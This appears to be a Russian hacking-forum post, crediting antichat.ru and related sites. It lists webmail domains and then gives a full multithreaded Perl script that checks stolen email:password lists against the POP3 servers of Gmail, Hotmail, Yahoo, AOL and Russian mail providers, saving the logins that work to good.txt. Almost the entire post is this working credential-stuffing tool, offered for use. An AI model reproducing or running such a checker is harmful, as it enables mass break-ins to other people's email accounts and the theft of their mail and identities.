mail.ru
bk.ru
inbox.ru
list.ru
ya.ru
yandex.ru
narod.ru
rambler.ru
ukr.net
freemail.ru
meta.ua
i.ua
pochta.ru
gmail.com
yahoo.com
hotmail.com
aol.com.
Код:
#!/usr/bin/perl ############################################################### # # # Dr.Tro and shell_c0de for antichat.ru,inattack.ru.rdot.org # # # ############################################################### use warnings; use strict; use threads; use threads::shared; use IO::Socket; use IO::Socket::SSL; use Fcntl ':flock'; ### Настройки my $accounts_file = 'ac.txt'; # Файл с аккаунтами my $accounts_delimiter = ':'; # Разделитель логина и пароля my $good_file = 'good.txt'; my $bad_file = 'bad.txt'; my $log_bad = 1; my $timeout = 60; my $threads_count = 10; # Количество потоков ### --------- my %servers = ( 'gmail.com' => { 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'hotmail.com' => { 'host' => 'pop3.live.com', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'yahoo.com' => { 'host' => 'plus.pop.mail.yahoo.com', 'port' => 995, 'ssl' => 1 }, 'aol.com' => { 'port' => 995, 'ssl' => 1, 'login_email' => 1 } ); my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0); my @threads = (); $| = 1; my @accounts : shared; (open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!"; push @accounts, $_ while <FH>; close FH; open FH, '>', $good_file; close FH; if ($log_bad) { open FH, '>', $bad_file; close FH; } sub thread_print { my ($str) = "@_ [thread ".threads->tid()."]"; $str .= " " x (78 - length $str) if length $str < 79; print $str."\n"; $str = ''; $str .= "[ $_ - $statictis{$_} ]" for keys %statictis; print $str.'[threads: '.(scalar threads->list() + 1)."]\r"; } sub check_account { while (1) { last if !@accounts; my $account = lc shift @accounts; chomp $account; if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) { my ($login, $host, $password) = ($1, $2, $3); my $r_login = $login; my $sock; if ($servers{$host}) { $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'}; if (${$servers{$host}}{'ssl'}) { eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); }; } else { eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); }; } } else { eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout); }; } if ($sock) { $sock->autoflush(1); my $answ; $answ = <$sock>; my $bad = 1; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "USER $r_login\n"; $answ = <$sock>; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "PASS $password\n"; $answ = <$sock>; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "QUIT\n"; close $sock; $bad = 0; thread_print "[+] $login\@$host$accounts_delimiter$password"; { lock %statictis; $statictis{'good'}++; } open FH, '>>', $good_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password\n"; flock FH, LOCK_UN; close FH; } elsif ($answ && $answ =~ /SYS\/PERM/) { $bad = 0; { lock %statictis; $statictis{'error'}++; } thread_print "[~] $login\@$host$accounts_delimiter$password"; } } } if ($bad) { thread_print "[-] $login\@$host$accounts_delimiter$password"; { lock %statictis; $statictis{'bad'}++; } if ($log_bad) { open FH, '>>', $bad_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password\n"; flock FH, LOCK_UN; close FH; } } } else { { lock %statictis; $statictis{'error'}++; } thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!"; } } } threads->exit->detach; } $threads_count = $#accounts if $#accounts < $threads_count; $threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1; $_->join for @threads; my $str; $str .= "[ $_ - $statictis{$_} ]" for keys %statictis; print "$str\n";